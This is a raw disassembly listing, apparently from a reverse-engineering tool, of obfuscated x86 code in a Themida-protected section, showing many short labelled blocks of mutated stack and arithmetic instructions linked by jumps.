jmp loc_5A1CEB
; ---------------------------------------------------------------------------
loc_58F72D: ; CODE XREF: Themida_:00592774j
push esp
pop ecx
push ebp
mov ebp, 4
add ecx, ebp
pop ebp
add ecx, 4
xchg ecx, [esp]
pop esp
push 188Ch
mov [esp], edi
push 1885h
push esp
jmp loc_5998D6
; ---------------------------------------------------------------------------
loc_58F755: ; CODE XREF: Themida_:00596D89j
sub esp, 2
mov [esp], cx
push 155Fh
mov [esp], edx
mov dl, 89h
jmp loc_5A08DB
; ---------------------------------------------------------------------------
loc_58F76E: ; CODE XREF: Themida_:00594E71j
or eax, 505623DAh
sub eax, 2A8B03DDh
xor edx, eax
jmp loc_59AABD
; ---------------------------------------------------------------------------
loc_58F77F: ; CODE XREF: Themida_:0059BB66j
xchg edx, [esp]
pop esp
add bh, 1
shr bh, 1
push small 1F3h
mov [esp], dx
jmp loc_5A1813
; ---------------------------------------------------------------------------
loc_58F795: ; CODE XREF: Themida_:0059B895j
pop ecx
push 2155h
mov [esp], ebp
sub esp, 4
mov [esp], edi
jmp loc_593CC1
; ---------------------------------------------------------------------------
loc_58F7A9: ; CODE XREF: Themida_:00590139j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_59C918
; ---------------------------------------------------------------------------
loc_58F7B7: ; CODE XREF: Themida_:00597456j
push ebx
mov ebx, 5D5A19A1h
mov ebp, ebx
mov ebx, [esp]
add esp, 4
add ebp, 0CF99046Eh
mov eax, ebp
pop ebp
dec eax
push ebx
mov ebx, 319D4BD3h
add ebx, 0F430D7EBh
add eax, ebx
pop ebx
add eax, 54B177A8h
or eax, 6A827DA7h
push ebx
jmp loc_5989F5
; ---------------------------------------------------------------------------
loc_58F7F1: ; CODE XREF: Themida_:00592BA8j
push ebp
mov ebp, 7513B4Eh
neg ebp
shr ebp, 2
jmp loc_5921EA
; ---------------------------------------------------------------------------
loc_58F801: ; CODE XREF: Themida_:0059E550j
sub edi, esi
pop esi
pop eax
xchg edi, [esp]
mov esp, [esp]
mov [esp], cx
movzx cx, al
jmp loc_591858
; ---------------------------------------------------------------------------
loc_58F818: ; CODE XREF: Themida_:0058F6A8j
add ecx, eax
push edi
mov edi, 26E277F2h
jmp loc_597212
; ---------------------------------------------------------------------------
loc_58F825: ; CODE XREF: Themida_:005A0761j
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5A27C2
; ---------------------------------------------------------------------------
loc_58F838: ; CODE XREF: Themida_:0059704Dj
add ebp, 4CB9701Dh
pop edx
and eax, ebp
jmp loc_58FE3D
; ---------------------------------------------------------------------------
loc_58F846: ; CODE XREF: Themida_:005A1C43j
mov ebx, 4
add edi, 6A2F62E5h
sub edi, ebx
sub edi, 6A2F62E5h
push dword ptr [esp]
jmp loc_59F2D0
; ---------------------------------------------------------------------------
loc_58F861: ; CODE XREF: Themida_:00594138j
add edi, 4
jmp loc_59B710
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_58F86C: ; CODE XREF: sub_591554+E173j
pop ebx
mov ecx, [esp+8+var_8]
add esp, 4
add eax, 2
xor eax, [esp+4+var_4]
xor [esp+4+var_4], eax
xor eax, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov ax, [esp-4+arg_0]
push edi
sub esp, 4
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
mov edi, [esp+4+var_4]
add esp, 4
push eax
mov eax, esp
add eax, 4
jmp loc_597607
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_58F8A6: ; CODE XREF: Themida_:005944AEj
mov edi, eax
mov ecx, edi
pop edi
pop eax
pop edi
sub [edi+24h], ecx
pop ecx
xor edx, edx
jmp loc_597FAF
; ---------------------------------------------------------------------------
loc_58F8B8: ; CODE XREF: Themida_:005A271Ej
pop ecx
mov ebx, [esp]
push ebp
push esp
pop ebp
push 5F26h
mov [esp], edx
push 4
pop edx
add ebp, edx
jmp loc_5986F2
; ---------------------------------------------------------------------------
loc_58F8D4: ; CODE XREF: Themida_:0059077Fj
inc ebp
jmp loc_597749
; ---------------------------------------------------------------------------
loc_58F8DA: ; CODE XREF: Themida_:005939D6j
add esp, 4
jmp loc_59F439
; ---------------------------------------------------------------------------
loc_58F8E2: ; CODE XREF: Themida_:0059B6F0j
mov edi, 4
add ebp, edi
pop edi
push ebx
mov ebx, 48F43730h
push edi
mov edi, 280A4312h
not edi
jmp loc_59E4B2
; ---------------------------------------------------------------------------
loc_58F8FD: ; CODE XREF: Themida_:0059E0EEj
mov esp, [esp]
mov [esp], ebp
jmp loc_59237A
; ---------------------------------------------------------------------------
loc_58F908: ; CODE XREF: Themida_:0059B473j
pop esp
sub esp, 4
mov [esp], ebx
push esi
jmp loc_5A03E3
; ---------------------------------------------------------------------------
loc_58F915: ; CODE XREF: Themida_:005A2458j
sub edi, ecx
mov ecx, [esp]
add esp, 4
add edx, edi
jmp loc_598F5E
; ---------------------------------------------------------------------------
loc_58F927: ; CODE XREF: Themida_:0058F13Bj
not eax
dec eax
neg eax
xor eax, 3ED9052Eh
sub edi, eax
jmp loc_59B0A2
; ---------------------------------------------------------------------------
loc_58F938: ; CODE XREF: Themida_:0059C913j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_59FAB7
; ---------------------------------------------------------------------------
loc_58F94F: ; CODE XREF: Themida_:005926C9j
pop edx
push edi
jmp loc_5A1785
; ---------------------------------------------------------------------------
loc_58F956: ; CODE XREF: Themida_:0059B324j
add edx, 51D7E27Dh
sub esi, edx
mov edx, [esp]
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_59593D
; ---------------------------------------------------------------------------
loc_58F975: ; CODE XREF: Themida_:005957A7j
xchg esi, [esp]
pop esp
mov [esp], esi
mov esi, esp
push edx
mov edx, esp
jmp loc_5999E4
; ---------------------------------------------------------------------------
loc_58F986: ; CODE XREF: Themida_:00593468j
push dword ptr [esp]
jmp loc_5967FE
; ---------------------------------------------------------------------------
loc_58F98E: ; CODE XREF: Themida_:005A0A3Dj
mov ebx, 12783E93h
sub esi, ebx
pop ebx
not esi
shl esi, 6
shl esi, 4
xor esi, 40AF5404h
push ebx
push ecx
mov ecx, 5CA539DEh
mov ebx, 7EC05108h
sub ebx, ecx
pop ecx
jmp loc_59AEF7
; ---------------------------------------------------------------------------
loc_58F9B8: ; CODE XREF: Themida_:0058E84Aj
mov ecx, 63A3180Ch
and ecx, 515A243Ah
and ecx, 58214462h
jmp loc_59095C
; ---------------------------------------------------------------------------
loc_58F9CE: ; CODE XREF: Themida_:005A23D6j
mov edx, [esp]
jmp loc_59A58A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_58F9D6: ; CODE XREF: sub_590877+6j
add eax, ebx
jmp loc_595C83
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_58F9DD: ; CODE XREF: Themida_:005A2C13j
pop ecx
add edx, 37952DD3h
jmp loc_593151
; ---------------------------------------------------------------------------
loc_58F9E9: ; CODE XREF: Themida_:0059CBA3j
pop ebp
add ebx, 2
jmp loc_596EA1
; ---------------------------------------------------------------------------
loc_58F9F5: ; CODE XREF: Themida_:005924B1j
pop edx
jmp loc_59D299
; ---------------------------------------------------------------------------
loc_58F9FB: ; CODE XREF: Themida_:0058FFCDj
xor ecx, 2C115F75h
jmp loc_596215
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_58FA14: ; CODE XREF: sub_59DA2F-74BAj
mov al, 89h
and al, 0F6h
jmp loc_59B615
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_58FA1D: ; CODE XREF: Themida_:005927D7j
mov edi, 5993E1Dh
mov ebx, 4C2F191Dh
shl ebx, 1
jmp loc_597439
; ---------------------------------------------------------------------------
loc_58FA2E: ; CODE XREF: Themida_:0059B5E0j
push esi
mov esi, 5E71231Fh
shr esi, 3
push ebp
mov ebp, 14992821h
xor esi, ebp
pop ebp
shl esi, 1
jmp loc_58E837
; ---------------------------------------------------------------------------
loc_58FA47: ; CODE XREF: Themida_:0059A898j
push ecx
jmp loc_59A4B0
; ---------------------------------------------------------------------------
loc_58FA4D: ; CODE XREF: Themida_:00595478j
mov [esp], ebx
push edi
push 6E161E22h
mov edi, [esp]
add esp, 4
xor edi, 29812A92h
jmp loc_596A6B
; ---------------------------------------------------------------------------
loc_58FA6A: ; CODE XREF: Themida_:00591E93j
push eax
push esi
mov esi, 145C11BAh
jmp loc_59108B
; ---------------------------------------------------------------------------
loc_58FA76: ; CODE XREF: Themida_:00593021j
mov [esp], esp
push eax
mov eax, 4
jmp loc_58E5ED
; ---------------------------------------------------------------------------
loc_58FA84: ; CODE XREF: Themida_:0059BB32j
pop esi
add esi, 4
push edx
jmp loc_58EF86
; ---------------------------------------------------------------------------
loc_58FA91: ; CODE XREF: Themida_:005A26D2j
sub ebp, 4
sub esp, 4
jmp loc_5A1331
; ---------------------------------------------------------------------------
loc_58FA9F: ; CODE XREF: Themida_:005A1E6Cj
add ebx, 56B06FE9h
mov esi, [esp]
push edx
push esp
mov edx, [esp]
add esp, 4
push eax
mov eax, 4DD83FF9h
jmp loc_59AC83
; ---------------------------------------------------------------------------
loc_58FABB: ; CODE XREF: Themida_:0059BF83j
sub dh, 0DFh
mov eax, [esp]
add esp, 4
xor dh, 91h
add ah, dh
mov edx, [esp]
add esp, 4
xor ah, 90h
jmp loc_59F027
; ---------------------------------------------------------------------------
loc_58FAD7: ; CODE XREF: Themida_:0059A93Fj
shl al, 3
sub al, 0A9h
xor al, 21h
add bh, al
pop eax
add bh, 0E5h
add bh, 0E7h
xor dh, bh
pop ebx
sub al, 0EFh
sub al, 0CDh
add al, dh
add al, 0CDh
add al, 0EFh
jmp loc_5943D5
; ---------------------------------------------------------------------------
loc_58FAF9: ; CODE XREF: Themida_:0059CB69j
mov [esp], edx
mov edx, esp
push ebx
push 0F1Eh
jmp loc_5A0BAF
; ---------------------------------------------------------------------------
loc_58FB09: ; CODE XREF: Themida_:00593D8Ej
add esi, ebp
mov ebp, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_58FB22: ; CODE XREF: Themida_:005A0B13j
xor ecx, eax
xor eax, ecx
jmp loc_5990D4
; ---------------------------------------------------------------------------
loc_58FB2B: ; CODE XREF: Themida_:0059572Fj
pop esi
push ecx
mov ecx, 1C556597h
not ecx
sub ecx, 5FD70F08h
dec ecx
xor ecx, 0D468C94Ch
jmp loc_59121D
; ---------------------------------------------------------------------------
loc_58FB46: ; CODE XREF: Themida_:0059D10Bj
xor dl, 56h
add bl, dl
pop edx
jmp loc_59768D
; ---------------------------------------------------------------------------
loc_58FB51: ; CODE XREF: Themida_:0058EF87j
mov ebp, 4
mov edx, ebp
pop ebp
add esi, edx
mov edx, [esp]
add esp, 4
jmp loc_5A06C6
; ---------------------------------------------------------------------------
loc_58FB69: ; CODE XREF: Themida_:0059E1DEj
sub esp, 4
mov [esp], edx
mov edx, esp
sub esp, 4
jmp loc_59980C
; ---------------------------------------------------------------------------
loc_58FB7F: ; CODE XREF: Themida_:00592852j
pop ecx
pop esi
mov eax, [esp]
push ebp
push esp
jmp loc_590882
; ---------------------------------------------------------------------------
loc_58FB8B: ; CODE XREF: Themida_:0059CCE0j
push ebp
jmp loc_59D867
; ---------------------------------------------------------------------------
loc_58FB91: ; CODE XREF: Themida_:00595A51j
push ebp
jmp loc_592FBF
; ---------------------------------------------------------------------------
loc_58FB97: ; DATA XREF: Themida_:0058E304o
mov cx, [esp]
push eax
push esp
pop eax
jmp loc_5927F5
; ---------------------------------------------------------------------------
loc_58FBA3: ; CODE XREF: Themida_:0059957Ej
push dword ptr [esp]
pop eax
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push 0A6Fh
mov [esp], ecx
push edx
mov edx, 6B6A00CFh
mov ecx, edx
jmp loc_594B19
; ---------------------------------------------------------------------------
loc_58FBCF: ; CODE XREF: Themida_:005A02ECj
and ah, 0BDh
add ah, 4
xor ch, ah
pop eax
push eax
mov ah, ch
mov dl, ah
pop eax
pop ecx
add bl, dl
pop dx
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_58FBEE: ; CODE XREF: Themida_:0058E36Bj
push 4270h
jmp loc_595969
; ---------------------------------------------------------------------------
loc_58FBF8: ; CODE XREF: Themida_:0058EA93j
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_59E555
; ---------------------------------------------------------------------------
loc_58FC06: ; CODE XREF: Themida_:0059A3B5j
mov esi, 1
push esi
add dword ptr [esp], 7756554Fh
mov edx, [esp]
add esp, 4
jmp loc_5A14BF
; ---------------------------------------------------------------------------
loc_58FC21: ; CODE XREF: Themida_:00590370j
push ebx
mov bh, 35h
add [esp+4], bh
jmp loc_5A02CE
; ---------------------------------------------------------------------------
loc_58FC2D: ; CODE XREF: Themida_:0059925Bj
pop esi
jmp loc_5A2275
; ---------------------------------------------------------------------------
loc_58FC33: ; CODE XREF: Themida_:00593325j
push ecx
mov ecx, 1A3C5321h
jmp loc_59102B
; ---------------------------------------------------------------------------
loc_58FC3E: ; CODE XREF: Themida_:005A12ADj
sub ebx, 0C522D1FDh
mov ebp, ebx
push dword ptr [esp]
pop ebx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_5A0AC0
; ---------------------------------------------------------------------------
loc_58FC68: ; CODE XREF: Themida_:00595B8Cj
add [esp+4], edx
mov edx, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
sub ebx, 6802C5Ah
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_5A04CF
; ---------------------------------------------------------------------------
loc_58FC9A: ; CODE XREF: Themida_:005911F6j
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_5986D6
; ---------------------------------------------------------------------------
loc_58FCAB: ; CODE XREF: Themida_:0059E973j
pop ecx
jmp loc_596BEF
; ---------------------------------------------------------------------------
loc_58FCB1: ; CODE XREF: Themida_:00599D54j
not bl
jmp loc_594FB4
; ---------------------------------------------------------------------------
loc_58FCB8: ; CODE XREF: Themida_:0058E59Dj
pop dword ptr [esp]
jmp loc_5A15A6
; ---------------------------------------------------------------------------
loc_58FCC0: ; CODE XREF: Themida_:0059A4ABj
mov esi, 47FD061Eh
jmp loc_59FCBB
; ---------------------------------------------------------------------------
loc_58FCCA: ; CODE XREF: Themida_:0059A0A0j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_595CC7
; ---------------------------------------------------------------------------
loc_58FCE1: ; CODE XREF: Themida_:0059D6FEj
mov esi, 4
add [esp+4], esi
jmp loc_59DFDD
; ---------------------------------------------------------------------------
loc_58FCEF: ; CODE XREF: Themida_:005946CDj
mov ebx, 15751796h
shl ebx, 2
add ebx, 4781445Dh
sub ebx, 0D69BC247h
jmp loc_5959E9
; ---------------------------------------------------------------------------
loc_58FD08: ; CODE XREF: Themida_:0059623Fj
sub ebp, 553F5161h
add ebp, esi
push edx
mov edx, 0BB03B0h
sub edx, 469C4E08h
jmp loc_5A23A5
; ---------------------------------------------------------------------------
loc_58FD21: ; CODE XREF: Themida_:00595921j
pop edx
jmp loc_59A49A
; ---------------------------------------------------------------------------
loc_58FD27: ; CODE XREF: Themida_:00596C33j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_591BEA
; ---------------------------------------------------------------------------
loc_58FD36: ; CODE XREF: Themida_:0058F2B8j
add ebp, ecx
pop ecx
jmp loc_59B911
; ---------------------------------------------------------------------------
loc_58FD3E: ; CODE XREF: Themida_:0059E66Aj
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_591414
; ---------------------------------------------------------------------------
loc_58FD4F: ; CODE XREF: Themida_:00597645j
sub al, 0EBh
push dword ptr [esp]
jmp loc_594667
; ---------------------------------------------------------------------------
loc_58FD59: ; CODE XREF: Themida_:0059C2C0j
push 239Ch
mov [esp], esp
push eax
jmp loc_592F8C
; ---------------------------------------------------------------------------
loc_58FD67: ; CODE XREF: Themida_:0059C82Dj
add esp, 4
dec edi
sub edi, 33E29CB5h
mov ebp, edi
push dword ptr [esp]
push dword ptr [esp]
pop edi
add esp, 4
add esp, 4
push ebx
mov ebx, 5DE31A77h
neg ebx
xor ebx, 0BE0C8C7Eh
jmp loc_598B10
; ---------------------------------------------------------------------------
loc_58FD93: ; CODE XREF: Themida_:0059EF4Bj
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_59CFB7
; ---------------------------------------------------------------------------
loc_58FDA8: ; CODE XREF: Themida_:0059EBBEj
xor ecx, 37E1A71h
add ecx, 2FE1014h
jmp loc_59B212
; ---------------------------------------------------------------------------
loc_58FDB9: ; CODE XREF: Themida_:0059A9EEj
push edi
mov edi, 4
jmp loc_5A27FC
; ---------------------------------------------------------------------------
loc_58FDC4: ; CODE XREF: Themida_:00599C94j
add esi, edi
pop edi
push ecx
mov ecx, 4
add esi, ecx
pop ecx
xchg esi, [esp]
mov esp, [esp]
shr ecx, 6
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
push esp
pop ebx
add ebx, 4
jmp loc_59E59B
; ---------------------------------------------------------------------------
loc_58FDFA: ; CODE XREF: Themida_:005947A9j
add ebp, ecx
pop ecx
jmp loc_59D96A
; ---------------------------------------------------------------------------
loc_58FE02: ; CODE XREF: Themida_:0059293Cj
push edx
mov edx, 5FD000C9h
add edx, 5A5B508Bh
sub edx, 0BA2B5150h
add ecx, edx
pop edx
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_59289D
; ---------------------------------------------------------------------------
loc_58FE2B: ; CODE XREF: Themida_:00590EB0j
add edi, edx
pop edx
xchg edi, [esp]
pop esp
push ebp
mov ebp, 4
jmp loc_5A2940
; ---------------------------------------------------------------------------
loc_58FE3D: ; CODE XREF: Themida_:0058F841j
mov ebp, [esp]
jmp loc_58E9C9
; ---------------------------------------------------------------------------
loc_58FE45: ; CODE XREF: Themida_:0059F434j
xor dh, 0DEh
jmp loc_59FF08
; ---------------------------------------------------------------------------
loc_58FE4D: ; CODE XREF: Themida_:005A04CAj
add edx, 4
jmp loc_59ADF6
; ---------------------------------------------------------------------------
loc_58FE55: ; CODE XREF: Themida_:0058EA45j
mov edi, 713C7991h
xor edi, 36C7233Ch
push esi
mov esi, 56A62F36h
and edi, esi
jmp loc_59A2A1
; ---------------------------------------------------------------------------
loc_58FE6D: ; CODE XREF: Themida_:0059E44Ej
add esp, 4
add dword ptr [esp+4], 3EFD2530h
sub dword ptr [esp+4], 0F947751h
jmp loc_595BF4
; ---------------------------------------------------------------------------
loc_58FE85: ; CODE XREF: Themida_:0058F466j
mov ecx, esp
push esi
mov esi, 467E4874h
sub esi, 467E4870h
add ecx, esi
mov esi, [esp]
add esp, 4
add ecx, 4
xchg ecx, [esp]
pop esp
loc_58FEA2: ; CODE XREF: Themida_:00597F10j
push 5F34h
mov [esp], ebx
push dword ptr [esp]
jmp loc_593691
; ---------------------------------------------------------------------------
loc_58FEB2: ; CODE XREF: Themida_:0059E5D9j
mov edi, [esp]
add esp, 4
jmp loc_5950EE
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_59733F
; ---------------------------------------------------------------------------
loc_58FEC9: ; CODE XREF: Themida_:00599038j
pop edi
mov ebp, edi
pop edi
xor ecx, ebp
pop ebp
mov ebx, ecx
jmp loc_596B50
; ---------------------------------------------------------------------------
loc_58FED7: ; CODE XREF: Themida_:005948BBj
mov ecx, [esp]
jmp loc_59D4DC
; ---------------------------------------------------------------------------
loc_58FEDF: ; CODE XREF: Themida_:0059AD9Bj
pop esp
jmp loc_5932EC
; ---------------------------------------------------------------------------
loc_58FEE5: ; CODE XREF: Themida_:005960E8j
movzx eax, al
lea eax, [edi+eax*4]
jmp loc_596C18
; ---------------------------------------------------------------------------
loc_58FEF0: ; CODE XREF: Themida_:005919E8j
push esi
push edx
push 42983296h
pop edx
push ebp
mov ebp, 4141299Bh
jmp loc_59D204
; ---------------------------------------------------------------------------
loc_58FF03: ; CODE XREF: Themida_:00591226j
push 2551h
mov [esp], ecx
mov ecx, 6D8D42C9h
shr ecx, 3
push esi
mov esi, 65228F68h
add ecx, esi
pop esi
add edi, 45C82FE7h
jmp loc_5994F0
; ---------------------------------------------------------------------------
loc_58FF27: ; CODE XREF: Themida_:0059E64Dj
pop esi
sub edi, 43625318h
jmp loc_59F01F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_58FF33: ; CODE XREF: sub_590877+A062j
pop ecx
add edi, 2
xor edi, [esp+0]
xor [esp+0], edi
xor edi, [esp+0]
mov esp, [esp+0]
mul cx
push eax
jmp loc_58EE22
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_58FF4F: ; CODE XREF: Themida_:00592D79j
sub esi, 6AD75188h
mov edx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
push edi
mov edi, 4
add ecx, 7735539Dh
add ecx, edi
sub ecx, 7735539Dh
pop edi
jmp loc_5966A7
; ---------------------------------------------------------------------------
loc_58FF80: ; CODE XREF: Themida_:005A3009j
push edx
mov dh, 8Eh
xor dh, 89h
add dh, 7Bh
sub al, dh
pop edx
xor al, 4Fh
jmp loc_5A1AA8
; ---------------------------------------------------------------------------
loc_58FF93: ; CODE XREF: Themida_:0059E11Fj
add eax, ebx
jmp loc_593E88
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3973h
mov [esp], ecx
jmp loc_593AD8
; ---------------------------------------------------------------------------
loc_58FFAB: ; CODE XREF: Themida_:005A1408j
mov [esp], ebp
jmp loc_596D45
; ---------------------------------------------------------------------------
loc_58FFB3: ; CODE XREF: Themida_:0059CE8Bj
xor ecx, edi
mov edi, [esp]
add esp, 4
sub ecx, 0DA152FBh
xor ecx, 36687DC0h
or ecx, 6D622074h
jmp loc_58F9FB
; ---------------------------------------------------------------------------
loc_58FFD2: ; CODE XREF: Themida_:00592339j
pop esi
or edi, 190926E7h
shr edi, 8
jmp loc_58F089
; ---------------------------------------------------------------------------
loc_58FFE1: ; CODE XREF: Themida_:00595008j
add esp, 4
sub eax, edi
add eax, 4F5F529Ah
pop edi
push esi
jmp loc_591E40
; ---------------------------------------------------------------------------
loc_58FFF2: ; CODE XREF: Themida_:005A27E6j
pop esi
push eax
mov eax, 9120146h
or eax, 30D071FEh
shr eax, 6
jmp loc_59CFE3
; ---------------------------------------------------------------------------
loc_590006: ; CODE XREF: Themida_:0059CCCDj
pop ebx
sub edx, edi
jmp loc_59EE90
; ---------------------------------------------------------------------------
loc_59000E: ; CODE XREF: Themida_:00594838j
push ebx
mov ebx, 746C27AFh
shr ebx, 8
not ebx
add ebx, 59723D20h
jmp loc_59E050
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_590024: ; CODE XREF: sub_59DA2F+68Cj
mov [esp+0], ebx
jmp loc_59358B
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_59002C: ; CODE XREF: sub_59FCFF+1874j
push eax
jmp loc_59C57C
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_590032: ; CODE XREF: Themida_:0058EA57j
pop ebp
push eax
push 4
pop eax
jmp loc_59A86A
; ---------------------------------------------------------------------------
loc_59003F: ; CODE XREF: Themida_:00590C90j
mov ebx, 190169ACh
shr ebx, 5
push eax
mov eax, 247349Fh
shr eax, 5
or eax, 54F7000Eh
add eax, 1F93F70Bh
jmp loc_59AADF
; ---------------------------------------------------------------------------
loc_59005F: ; CODE XREF: Themida_:005A0299j
mov ebp, 8A38066h
sub esi, ebp
pop ebp
add ecx, esi
pop esi
and eax, ecx
push dword ptr [esp]
pop ecx
jmp loc_59D323
; ---------------------------------------------------------------------------
loc_590075: ; CODE XREF: Themida_:0058EA25j
jmp loc_58E353
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F235
loc_59007A: ; CODE XREF: sub_59F235+Ej
add ebp, 4
sub esp, 4
mov [esp+8+var_8], eax
sub esp, 4
mov [esp+0Ch+var_C], esi
mov esi, 763A4EC1h
push 3398h
jmp loc_5908FE
; END OF FUNCTION CHUNK FOR sub_59F235
; ---------------------------------------------------------------------------
loc_5900A1: ; CODE XREF: Themida_:0058F12Cj
pop edx
sub esp, 4
mov [esp], eax
mov eax, ebx
mov ebp, eax
pop eax
pop ebx
sub ebp, 27E55A4Bh
jmp loc_5978AE
; ---------------------------------------------------------------------------
mov ax, [esp]
push 3779h
mov [esp], ebp
mov ebp, esp
jmp loc_59122B
; ---------------------------------------------------------------------------
loc_5900CF: ; CODE XREF: Themida_:00599D63j
mov esi, 29C03E58h
add edx, esi
mov esi, [esp]
jmp loc_598167
; ---------------------------------------------------------------------------
loc_5900DE: ; CODE XREF: Themida_:0059A2E3j
pop esp
sub esp, 4
mov [esp], ebx
push esp
jmp loc_59C46C
; ---------------------------------------------------------------------------
loc_5900EE: ; CODE XREF: Themida_:0059B361j
add [esp+4], edx
add dword ptr [esp+4], 1634CCAh
pop edx
mov edi, [esp]
add esp, 4
jmp loc_596A5A
; ---------------------------------------------------------------------------
loc_590106: ; CODE XREF: Themida_:005A106Dj
push 1E11h
jmp loc_594E35
; ---------------------------------------------------------------------------
loc_590110: ; CODE XREF: Themida_:0058F187j
mov [esp], ebx
mov ebx, 1F1A425Bh
jmp loc_59DE37
; ---------------------------------------------------------------------------
loc_59011D: ; CODE XREF: Themida_:0059C3EFj
pop edx
add edx, 4
push esi
mov esi, 4
add edx, 43357708h
add edx, esi
sub edx, 43357708h
pop esi
jmp loc_58F7A9
; ---------------------------------------------------------------------------
loc_59013E: ; CODE XREF: Themida_:005A1CCBj
push 436A3E0Fh
pop edi
push edx
jmp loc_596512
; ---------------------------------------------------------------------------
loc_59014A: ; CODE XREF: Themida_:005A28DDj
push edx
push 5AE00C85h
mov edx, [esp]
jmp loc_592C3A
; ---------------------------------------------------------------------------
loc_590158: ; CODE XREF: Themida_:0059BCAAj
pop edi
sub edi, ecx
pop ecx
add edi, 9DD635DBh
mov esi, edi
mov edi, [esp]
add esp, 4
sub esi, 0FFFFFFFFh
jmp loc_5A1697
; ---------------------------------------------------------------------------
loc_590175: ; CODE XREF: Themida_:00592818j
pop eax
add bl, ch
mov cx, [esp]
jmp loc_59F22C
; ---------------------------------------------------------------------------
loc_590181: ; CODE XREF: Themida_:005A14B3j
add esp, 4
sub eax, 0C80F22B5h
add esi, eax
pop eax
add esi, 5E3651D6h
pop edi
xchg esi, [esp]
pop esp
push 6A55h
jmp loc_59083F
; ---------------------------------------------------------------------------
loc_5901A1: ; CODE XREF: Themida_:005A1D95j
neg ah
not ah
add ah, 0A2h
jmp loc_59A931
; ---------------------------------------------------------------------------
loc_5901AD: ; CODE XREF: Themida_:0059AB07j
xor esi, ebx
pop ebx
jmp loc_59EFD0
; ---------------------------------------------------------------------------
loc_5901B5: ; CODE XREF: Themida_:00597AAFj
xchg edx, [esp]
mov ebp, [esp]
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_591B6D
; ---------------------------------------------------------------------------
loc_5901C9: ; CODE XREF: Themida_:005991A7j
xor edi, 0BA5A2CD9h
add ebx, edi
pop edi
jmp loc_595404
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_5901D7: ; CODE XREF: sub_59233E+4B81j
push 4AC62DC2h
pop ecx
or ecx, 2B0F40B0h
dec ecx
inc ecx
sub ecx, 6672679Ah
mov edi, ecx
pop ecx
or edi, 3D8654Ah
xor edi, 133E0D9Dh
sub eax, edi
pop edi
shl eax, 5
not eax
inc eax
sub eax, 39508810h
sub edx, 5B85061Bh
sub edx, eax
add edx, 5B85061Bh
mov eax, [esp-8+arg_4]
add esp, 4
push ebp
mov ebp, esp
jmp loc_596993
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_590227: ; CODE XREF: Themida_:005A231Ej
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push edx
mov edx, esp
add edx, 4
jmp loc_598DF1
; ---------------------------------------------------------------------------
loc_590246: ; CODE XREF: Themida_:005A0C2Aj
add dh, 0F6h
sub al, dh
jmp loc_593C8C
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_595201
; ---------------------------------------------------------------------------
loc_59025B: ; CODE XREF: Themida_:005A0D35j
push ecx
push esp
pop ecx
push eax
mov eax, 66F24F74h
xor eax, 121A5BDAh
or eax, 2C8F026Ch
add eax, 627440A8h
xor eax, 62B36D35h
sub eax, 0BDD03A9Fh
add ecx, eax
pop eax
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
jmp loc_5A0B9B
; ---------------------------------------------------------------------------
loc_59028F: ; CODE XREF: Themida_:0059BBEAj
mov edx, 1E20906h
sub eax, 25310E70h
sub eax, edx
add eax, 25310E70h
